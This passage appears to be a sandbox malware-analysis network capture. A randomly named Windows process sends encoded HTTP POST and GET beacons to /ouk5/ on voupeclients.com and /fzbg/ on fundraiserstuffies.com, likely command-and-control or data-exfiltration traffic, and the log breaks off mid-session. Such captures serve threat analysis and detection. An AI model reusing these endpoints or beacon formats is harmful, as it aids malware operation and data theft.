51 30 47 76 55 4f 41 4a 31 79 33 6f 70 68 45 31 42 2f 4f 44 6a 2f 72 2f 6b 37 4a 38 41 6d 6c 53 32 31 5a 6a 57 72 52 42 4a 35 63 42 49 38 4c 2f 47 57 77 42 59 67 61 79 55 58 41 47 76 6e 6c 42 4e 6a 51 45 37 4b 59 32 2b 4c 63 6b 36 67 47 75 51 2b 61 41 32 2f 66 70 34 49 41 72 4e 79 78 35 6a 4d 6d 4a 7a 33 71 43 6f 5a 43 6a 61 4b 51 7a 54 59 55 55 74 55 42 38 74 32 73 71 72 62 6e 59 4a 69 65 62 32 35 72 41 3d 3d Data Ascii: vX=CJ+1SUuM4PPMaY5F8ItSVu6NmT3s58Zv9jiVFZhaquKd6KMGghT2pE+WNEQ0GvUOAJ1y3ophE1B/ODj/r/k7J8AmlS21ZjWrRBJ5cBI8L/GWwBYgayUXAGvnlBNjQE7KY2+Lck6gGuQ+aA2/fp4IArNyx5jMmJz3qCoZCjaKQzTYUUtUB8t2sqrbnYJieb25rA==
Jul 3, 2024 17:38:41.779546022 CEST	385	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 03 Jul 2024 15:38:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: http://voupeclients.com X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49808	44.227.65.245	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:44.325926065 CEST	1134	OUT	POST /ouk5/ HTTP/1.1 Host: www.voupeclients.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.voupeclients.com Referer: http://www.voupeclients.com/ouk5/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 43 4a 2b 31 53 55 75 4d 34 50 50 4d 61 34 70 46 36 76 42 53 64 75 36 4d 6f 7a 33 73 73 73 5a 6a 39 6a 6d 56 46 63 5a 4b 71 37 61 64 36 72 38 47 79 77 54 32 6c 6b 2b 57 48 6b 51 37 62 66 55 46 41 4a 78 4d 33 6f 56 68 45 31 39 2f 50 79 44 2f 74 50 6b 34 47 63 42 55 69 53 32 30 54 44 57 68 52 41 31 74 63 44 30 38 49 4f 71 57 7a 41 30 67 4e 57 41 55 4b 47 76 68 31 78 4e 67 61 6b 37 2b 59 32 69 35 63 6c 43 61 47 64 4d 2b 5a 68 57 2f 65 70 34 50 53 37 4e 35 7a 35 69 7a 68 62 4f 69 70 77 68 75 4f 55 6d 32 4b 57 44 5a 52 6c 56 35 45 75 6c 4a 73 6f 44 71 6f 62 55 65 61 35 62 4b 30 42 6b 64 4a 35 2b 72 57 42 51 46 66 2f 38 73 78 63 78 6e 56 65 49 6a 66 48 36 6b 53 75 61 35 49 32 69 69 44 47 65 53 4c 6c 6a 75 75 43 48 79 45 51 5a 4c 76 53 36 67 39 6b 6b 47 73 49 53 77 76 57 77 39 52 37 4a 62 34 4a 75 69 42 41 71 51 58 31 6c 71 50 79 64 6c 38 6d 4c 63 50 46 57 70 37 7a 76 6a 75 53 4d 57 4b 52 42 53 32 2b 43 30 36 51 74 6a 39 59 5a 52 76 72 38 32 58 62 50 53 31 53 2b 58 4c 4e 33 30 55 59 4b 61 6b 41 48 [TRUNCATED] Data Ascii: vX=CJ+1SUuM4PPMa4pF6vBSdu6Moz3sssZj9jmVFcZKq7ad6r8GywT2lk+WHkQ7bfUFAJxM3oVhE19/PyD/tPk4GcBUiS20TDWhRA1tcD08IOqWzA0gNWAUKGvh1xNgak7+Y2i5clCaGdM+ZhW/ep4PS7N5z5izhbOipwhuOUm2KWDZRlV5EulJsoDqobUea5bK0BkdJ5+rWBQFf/8sxcxnVeIjfH6kSua5I2iiDGeSLljuuCHyEQZLvS6g9kkGsISwvWw9R7Jb4JuiBAqQX1lqPydl8mLcPFWp7zvjuSMWKRBS2+C06Qtj9YZRvr82XbPS1S+XLN30UYKakAHH109n5mCuhD3aPzpSJVu061OZI+A2QpBl//VWBRz3KmtqABUxWOUc+P7c41ZjxDHejtg7XyvKab6D9CijJEVWg48W/ap15U/O3iNW7Y8laRKg7ltdfTWF/BWcgkW/ELfVYT14Etjj7/XVYZBSebDoXaVxSLAC3Sz2HiYmjUTJyw5m6c8hYIaH67T9PAAhoT/qSyQIVE8=
Jul 3, 2024 17:38:44.508347034 CEST	385	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 03 Jul 2024 15:38:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: http://voupeclients.com X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49809	44.227.65.245	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:47.061451912 CEST	2578	OUT	POST /ouk5/ HTTP/1.1 Host: www.voupeclients.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.voupeclients.com Referer: http://www.voupeclients.com/ouk5/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 43 4a 2b 31 53 55 75 4d 34 50 50 4d 61 34 70 46 36 76 42 53 64 75 36 4d 6f 7a 33 73 73 73 5a 6a 39 6a 6d 56 46 63 5a 4b 71 34 36 64 36 64 6f 47 67 44 4c 32 6b 6b 2b 57 5a 30 51 72 62 66 55 69 41 49 56 49 33 6f 59 55 45 77 35 2f 50 6a 54 2f 74 39 63 34 57 4d 41 7a 74 79 32 36 5a 6a 58 6f 52 42 4a 48 63 44 67 47 4c 2b 75 57 77 44 41 67 61 55 6f 58 47 32 76 6e 31 78 4e 38 65 6b 37 32 59 32 6d 70 63 6b 2b 61 47 66 34 2b 49 44 75 2f 64 36 67 50 56 72 4e 2b 6b 70 69 38 72 37 4f 70 70 77 45 66 4f 55 6d 4d 4b 54 37 5a 52 6e 64 35 48 74 64 4b 73 49 44 71 72 62 55 64 4c 70 58 4f 30 42 34 56 4a 34 36 72 57 44 41 46 5a 76 38 73 33 35 52 67 63 65 49 68 55 6e 36 7a 46 2b 57 68 49 32 47 51 44 48 71 53 4b 52 44 75 75 7a 48 79 4c 55 4e 4c 7a 43 36 2b 35 6b 6b 4f 6c 6f 54 7a 76 51 52 75 52 36 6f 75 34 4a 4b 69 4f 45 79 51 54 55 6c 70 5a 43 63 50 69 32 4b 45 65 56 4b 6c 37 7a 2f 2f 75 53 4d 47 4b 56 5a 53 32 76 79 30 31 78 74 67 36 49 59 5a 70 72 38 76 64 37 44 69 31 53 79 50 4c 4f 6e 6b 55 65 71 61 32 77 48 [TRUNCATED] Data Ascii: vX=CJ+1SUuM4PPMa4pF6vBSdu6Moz3sssZj9jmVFcZKq46d6doGgDL2kk+WZ0QrbfUiAIVI3oYUEw5/PjT/t9c4WMAzty26ZjXoRBJHcDgGL+uWwDAgaUoXG2vn1xN8ek72Y2mpck+aGf4+IDu/d6gPVrN+kpi8r7OppwEfOUmMKT7ZRnd5HtdKsIDqrbUdLpXO0B4VJ46rWDAFZv8s35RgceIhUn6zF+WhI2GQDHqSKRDuuzHyLUNLzC6+5kkOloTzvQRuR6ou4JKiOEyQTUlpZCcPi2KEeVKl7z//uSMGKVZS2vy01xtg6IYZpr8vd7Di1SyPLOnkUeqa2wHHj3VmumC1pj2FSDpBJViG6wuJIPs2QY9l7vVZExzzEGsjEBUxWOR7+OHc5Fhjwxfeoa07ECvMab7d9CnTJH14g5N5/cR14AzOwnxVt488NhKNmVxOfTKd/FymhWS/W7vVOj15PtjksPXHcZMTebvWXZJhSL4C1WKuUBgZ30Tx7xVq+e1xeJb/x6DRI3w3pEHlBhU7EwfFqiH+E/q/qiIdqXkZHNzVKMU6s8ihI4V6WR3KELsUASOKtu+VL1PH0/Pbemu1t0twVshUql4RGpidMfFE2OWPyHMcxpIUMETcfDnnqfb87yjVlH4UxBnb9b5tFvpWb2ImEfG1gVbGRYLbBc165r3ujbLKZAcRCFK2V3a7dW1SEdN16Fyyk2LKRzE1St5rJgnmwDV9Ss0lUE6/4EMqs0OtoBk+p12VvlfV2BC6LJVUV4L6LlZi2zazHMJUtWYPHA4wSsb/0qc3ODrvj5qEd97EpL4Q+JFrOAsWxDGgMzzOMwKcxwm7ZjDXhKWnFWSjAPDle/1FatfQvfNpU6/VF4T3m96u9iMJIqHIbzrVEv/iBKjkuNL32v1IJAuEhbr33l0Dmv0xLTvhQYbhW2dcxQkXJczXcHciwXYDPWvik/s4YPXpANSPtoC9R6y+XWmDo8SFWaOAs1kcGiYSV4fil1PfkcuRT [TRUNCATED]
Jul 3, 2024 17:38:47.061474085 CEST	5156	OUT	Data Raw: 66 7a 62 30 51 69 62 6a 77 39 74 41 65 66 6a 34 6c 53 62 39 66 44 38 6e 68 6b 65 59 55 48 45 39 62 61 61 4b 32 71 72 33 67 2b 34 71 75 55 38 48 65 71 77 48 52 45 62 57 32 48 71 6b 6c 41 50 72 2b 56 51 47 61 78 48 59 66 70 79 7a 2b 6d 37 79 79 70 Data Ascii: fzb0Qibjw9tAefj4lSb9fD8nhkeYUHE9baaK2qr3g+4quU8HeqwHREbW2HqklAPr+VQGaxHYfpyz+m7yypk+sb1eOJRrZjqrzk3Koqd7E/CBmWCduf3lPy0hqs4eHA7qEXHaqkistqL45wFYMnxMY4h1cPMNjq29KCMnZE1TwvKcO3KU7OarW0pNzr45yTBbv3G+aBtOsPAq+tkN1MQ0ApQG2szp5OBg2W8S8Z7W4nWuFRZMky1
Jul 3, 2024 17:38:47.061520100 CEST	5156	OUT	Data Raw: 4f 56 56 49 46 6c 73 55 54 6e 4e 2f 55 56 53 49 62 64 58 52 6a 41 64 54 6a 6f 57 74 56 67 4e 71 50 63 4b 6a 6d 4e 64 51 58 4c 35 71 6c 5a 48 79 50 51 4a 79 52 67 63 2f 39 56 56 37 30 38 2b 50 71 54 57 77 56 35 30 70 2b 4d 38 4a 62 43 6e 33 2f 45 Data Ascii: OVVIFlsUTnN/UVSIbdXRjAdTjoWtVgNqPcKjmNdQXL5qlZHyPQJyRgc/9VV708+PqTWwV50p+M8JbCn3/EXQ8+aRnzjcvixvFGDqQavNJowKanpteJDDp/y3MVl2wlyphdjJ6cRpCifx7WZMe7qTtx2tqURwwV0mtUrulJap5YzyC2AbS10YBhxmz+2b3M22HfXE9mPDA6r0JHgCbwv+bzIZCGYCmYw5pS0BiR7RnjaM2ZG/rPR
Jul 3, 2024 17:38:47.239252090 CEST	1289	OUT	Data Raw: 66 4e 37 76 67 6b 6c 6f 68 62 38 45 73 4a 6b 33 36 42 72 76 68 41 6c 61 51 55 59 72 42 6f 31 4e 33 65 32 4b 44 4e 34 42 75 6d 4f 4c 43 69 6a 78 6d 51 69 52 73 7a 4e 54 70 2f 6d 78 77 53 73 58 74 57 46 46 41 4c 49 43 6a 65 39 42 50 70 7a 58 48 39 Data Ascii: fN7vgklohb8EsJk36BrvhAlaQUYrBo1N3e2KDN4BumOLCijxmQiRszNTp/mxwSsXtWFFALICje9BPpzXH9V5vilfMpVQ5yNODhBj+YMiHQv2ymIbJ+fqqivd04jSH0eqZ3MrRgmH2P6OP1wCYSV6jyyjg186sTVdTx2zqtM9nSAKXoCOmdxbGasMpGokBwYS6W3/imP1Qb76N4ZAxJTMXwQJjtfgUxvcD46UOtFT1d+jvtvNx8g
Jul 3, 2024 17:38:47.239456892 CEST	11601	OUT	Data Raw: 7a 71 38 4e 77 72 51 64 6d 65 50 46 4c 5a 49 5a 31 79 42 66 79 74 4a 32 41 76 39 74 56 61 4d 48 62 49 42 7a 6b 62 78 44 79 69 76 75 6f 31 79 65 4d 74 43 34 4b 37 75 72 30 78 45 30 59 68 34 30 49 4f 56 77 52 70 45 7a 4a 4a 51 4a 66 79 31 71 63 46 Data Ascii: zq8NwrQdmePFLZIZ1yBfytJ2Av9tVaMHbIBzkbxDyivuo1yeMtC4K7ur0xE0Yh40IOVwRpEzJJQJfy1qcFT+DJvIXJlOEcYTTmF0CAKXDFD518vw+5IHh6BIJLo2Ud7bkgmNiNhcn0inQu8FqRCdBnqvdf/lxkc+uAF3EzMfr0vGk+u9z4u1CYYuAiihZxjTRsgPc2ADkhQ7B77+KLpaSt3OIbdBKigBRer1q5NEkyg0GyspDd7
Jul 3, 2024 17:38:47.239589930 CEST	1289	OUT	Data Raw: 41 43 6a 61 4b 50 66 45 4b 69 61 73 70 50 39 53 31 4d 51 54 6e 6d 33 33 78 30 56 68 6e 6a 2b 42 4a 55 5a 31 70 4e 62 63 4b 78 61 51 4d 43 33 6e 37 41 57 65 70 79 65 4a 76 34 6c 34 61 45 63 4b 66 2f 4d 76 62 42 74 48 69 55 4d 73 54 32 51 34 37 53 Data Ascii: ACjaKPfEKiaspP9S1MQTnm33x0Vhnj+BJUZ1pNbcKxaQMC3n7AWepyeJv4l4aEcKf/MvbBtHiUMsT2Q47SslwUEevMqgn/eZsdN2wWeoI5apUEN3VD3GnNOVFnNQoyAGVgPi1keeoeiVStYhwiybT7BJFBybG89tH2iaZ4n3GWsAihtSGVfGrzh5Vt00Q9XaagLOpUs1B7Fi0GAvrgiUnvzKi7MtPH5EYW/NfBfc9qUwq/jfMgc
Jul 3, 2024 17:38:47.239762068 CEST	11601	OUT	Data Raw: 68 67 67 61 67 4b 59 65 30 54 45 50 2f 55 78 4f 2b 51 49 72 43 4b 35 48 70 68 6a 43 35 34 59 75 45 41 7a 39 66 72 74 75 63 53 4c 6c 6f 73 4a 69 54 41 37 77 4a 66 32 4d 76 53 45 49 49 61 6b 35 76 42 7a 4c 45 54 30 69 67 45 75 36 31 64 4a 4b 41 5a Data Ascii: hggagKYe0TEP/UxO+QIrCK5HphjC54YuEAz9frtucSLlosJiTA7wJf2MvSEIIak5vBzLET0igEu61dJKAZ2QfGCsVAWsj4aYtBdbQnoKEttMZRfbV67/rBLR5uJI17NLsRwLzTsQpKuAKBBMyeqsxwRplT1AbJV0nQ19eRl0FUT8yfvFciPJz2Emh2FQr8dsdKkxHPJ06j45EuavzdiJiY7UFZ702zGGclxyo8XBhjK0VEQwxXo
Jul 3, 2024 17:38:47.243540049 CEST	385	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 03 Jul 2024 15:38:47 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: http://voupeclients.com X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>
Jul 3, 2024 17:38:47.417387009 CEST	2578	OUT	Data Raw: 31 37 2b 38 42 78 37 79 59 6f 6e 35 30 2b 45 31 78 6e 48 39 6f 34 30 50 79 67 32 52 4b 45 43 51 54 48 74 76 46 32 34 6d 79 57 54 74 46 46 35 55 72 53 76 75 30 51 44 38 76 4f 62 78 41 57 30 38 50 46 73 56 77 59 44 67 68 73 77 64 54 71 47 36 34 53 Data Ascii: 17+8Bx7yYon50+E1xnH9o40Pyg2RKECQTHtvF24myWTtFF5UrSvu0QD8vObxAW08PFsVwYDghswdTqG64SR59A/W8Qx6KdYntXTIC/snoxXPa+l4Xi9dQqFki47JgVEMCpwp0VwNj+fCd3wKQ5zpd+RU5Z6FOyCpZEI8KoHWx4hxdUBkOImja63ry/NncdnQZ2//Qe1dW1lsnYQoS8xHvMQS/Q8tAy2hPNOcGYxmCSws8wVT2rk
Jul 3, 2024 17:38:47.417548895 CEST	6445	OUT	Data Raw: 76 68 43 77 63 30 35 38 54 35 53 2f 52 52 62 46 4d 34 36 6d 78 64 46 30 39 42 61 36 4a 6b 72 59 4a 31 72 33 44 5a 44 38 57 36 36 77 55 6e 62 73 62 71 6e 62 78 38 49 66 51 32 6c 34 52 6d 51 61 56 6b 61 47 73 58 35 68 71 64 6f 58 73 59 73 2b 7a 70 Data Ascii: vhCwc058T5S/RRbFM46mxdF09Ba6JkrYJ1r3DZD8W66wUnbsbqnbx8IfQ2l4RmQaVkaGsX5hqdoXsYs+zpn/6G+bWZcNFiYPXGQm3smocxvZJb0ac5pMjf4uLGfvGLdSJspA3jXEOjgLX3M83QjWF2GalTrX1PvXzaI6XTIbHgRkTKaYLJLjFmMF0afEMXI0rHw44m8WIizY+yuyu3W8FS4r3s7zPSzNbBQucMT4ss2wVIVSK+u
Jul 3, 2024 17:38:47.417742968 CEST	5838	OUT	Data Raw: 49 78 52 68 4f 46 77 61 39 41 56 32 36 45 4f 38 33 6c 5a 45 44 6a 43 39 6c 38 57 66 6d 4c 4d 59 76 50 6d 48 74 71 58 35 2f 6f 69 44 6f 59 55 58 46 41 33 74 6d 67 4b 55 4b 6a 79 7a 31 62 38 7a 56 72 5a 43 4c 4c 54 30 7a 30 77 47 6a 66 44 4a 74 4f Data Ascii: IxRhOFwa9AV26EO83lZEDjC9l8WfmLMYvPmHtqX5/oiDoYUXFA3tmgKUKjyz1b8zVrZCLLT0z0wGjfDJtOy8/5ZAwNwgBSt9yKIQqOogk202kDp02RLA64tynstSbt6TSjWK2c7wUQxArNlT3/ZhfN2sr9lwb05vPPLp7lA2+AOWUJ6ohOs9+1rLrU+Ef1b/IrcDWJVP98xWP+lYfmfkqBewvnDfSnzYp3ewk0GyB6mF3N+Dnrt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49810	44.227.65.245	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:49.790857077 CEST	524	OUT	GET /ouk5/?vX=PLWVRijYnvzxBPZV68lDWez5n1m4qNxygDOUEJJl7paGkoFy8irkxF+ePmZFSckDR+ltzcYQPDsLLRino9E0Pe5jqCKxYTXxZRA6KSseMdymxDABailrF38=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.voupeclients.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:38:49.972012997 CEST	385	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 03 Jul 2024 15:38:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: http://voupeclients.com X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49811	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:55.322060108 CEST	812	OUT	POST /fzbg/ HTTP/1.1 Host: www.fundraiserstuffies.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.fundraiserstuffies.com Referer: http://www.fundraiserstuffies.com/fzbg/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 6a 52 77 53 61 69 7a 58 52 43 56 45 79 46 4d 72 44 79 6b 42 2f 71 48 48 36 55 73 43 2b 30 6c 30 67 54 68 4b 35 7a 51 35 37 2b 39 7a 72 4c 2f 6b 61 6b 39 47 70 50 61 52 77 63 7a 7a 55 6c 78 44 37 57 59 65 4f 54 7a 6e 49 2b 45 30 53 55 55 75 63 31 44 6c 4b 41 52 4b 4c 62 32 6a 71 4e 52 67 67 73 6b 61 4c 63 2b 31 44 50 4e 69 68 65 71 44 78 39 2f 53 4c 6e 77 7a 32 44 61 43 59 6c 4f 52 63 4a 6e 4d 66 4f 45 63 76 59 4e 42 6c 30 42 48 33 58 72 4e 6a 76 43 70 7a 58 7a 32 50 71 2f 62 30 42 72 30 62 44 6b 34 2f 76 6b 69 2b 32 79 36 4a 46 37 33 61 31 32 6b 68 34 75 2b 4d 79 38 78 2f 67 3d 3d Data Ascii: vX=jRwSaizXRCVEyFMrDykB/qHH6UsC+0l0gThK5zQ57+9zrL/kak9GpPaRwczzUlxD7WYeOTznI+E0SUUuc1DlKARKLb2jqNRggskaLc+1DPNiheqDx9/SLnwz2DaCYlORcJnMfOEcvYNBl0BH3XrNjvCpzXz2Pq/b0Br0bDk4/vki+2y6JF73a12kh4u+My8x/g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49812	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:38:58.004158974 CEST	1152	OUT	POST /fzbg/ HTTP/1.1 Host: www.fundraiserstuffies.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.fundraiserstuffies.com Referer: http://www.fundraiserstuffies.com/fzbg/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 6a 52 77 53 61 69 7a 58 52 43 56 45 67 30 38 72 43 52 4d 42 72 36 48 45 6d 6b 73 43 33 55 6b 2f 67 54 74 4b 35 7a 34 70 37 4e 5a 7a 72 71 50 6b 62 6c 39 47 71 50 61 52 6f 73 79 35 4c 56 77 50 37 57 64 72 4f 52 33 6e 49 2b 67 30 64 47 4d 75 49 56 44 36 41 67 52 4a 4d 62 32 2b 75 4e 52 36 67 73 35 4a 4c 65 43 31 44 66 70 69 67 64 43 44 37 4d 2f 64 50 48 77 31 77 44 61 42 52 46 50 51 63 4a 72 79 66 4b 4a 68 76 4a 35 42 6c 58 35 48 30 58 72 4f 74 66 43 6b 75 48 7a 6d 41 4a 6d 53 33 44 66 42 59 68 6b 48 31 76 45 72 37 55 65 68 45 45 6d 56 49 33 66 61 69 4a 33 74 66 41 64 59 2f 7a 4f 7a 74 4a 39 57 6f 42 39 38 57 45 6b 37 33 44 4a 48 4e 58 6a 55 64 50 73 4f 70 66 49 35 2b 64 6a 6b 4c 55 4d 50 68 41 4e 46 43 44 43 66 78 6f 62 6c 32 62 46 35 59 78 47 62 43 73 57 66 6e 6b 77 68 42 2b 62 6f 4c 71 44 32 7a 47 45 35 4e 56 2f 33 6b 32 49 4b 59 35 39 55 44 48 63 54 4b 2b 44 77 67 79 47 44 37 54 45 57 59 5a 77 30 73 73 41 4a 78 7a 51 37 38 37 61 32 57 45 58 73 49 31 2b 70 6c 76 39 63 58 4b 79 4b 32 68 64 [TRUNCATED] Data Ascii: vX=jRwSaizXRCVEg08rCRMBr6HEmksC3Uk/gTtK5z4p7NZzrqPkbl9GqPaRosy5LVwP7WdrOR3nI+g0dGMuIVD6AgRJMb2+uNR6gs5JLeC1DfpigdCD7M/dPHw1wDaBRFPQcJryfKJhvJ5BlX5H0XrOtfCkuHzmAJmS3DfBYhkH1vEr7UehEEmVI3faiJ3tfAdY/zOztJ9WoB98WEk73DJHNXjUdPsOpfI5+djkLUMPhANFCDCfxobl2bF5YxGbCsWfnkwhB+boLqD2zGE5NV/3k2IKY59UDHcTK+DwgyGD7TEWYZw0ssAJxzQ787a2WEXsI1+plv9cXKyK2hdfuJVeDGvV48tSzPMNhiPRtkHxkvLTFgq4H6+EltLCGCvYmT6EDQQADefKLi58/MSS8h5Iyw46n/vUxH/8K18bObxCWGRlvL2MAOUzzXw862iHdUTGU5GtXfJ0RpFPw04IfTqtTKqjlwdaWeX9h/q3/iFObANliG9Rf8KfuwrR0tovqablKUU/BNzpk7UKR6le7C6ly28=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49813	3.33.130.190	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
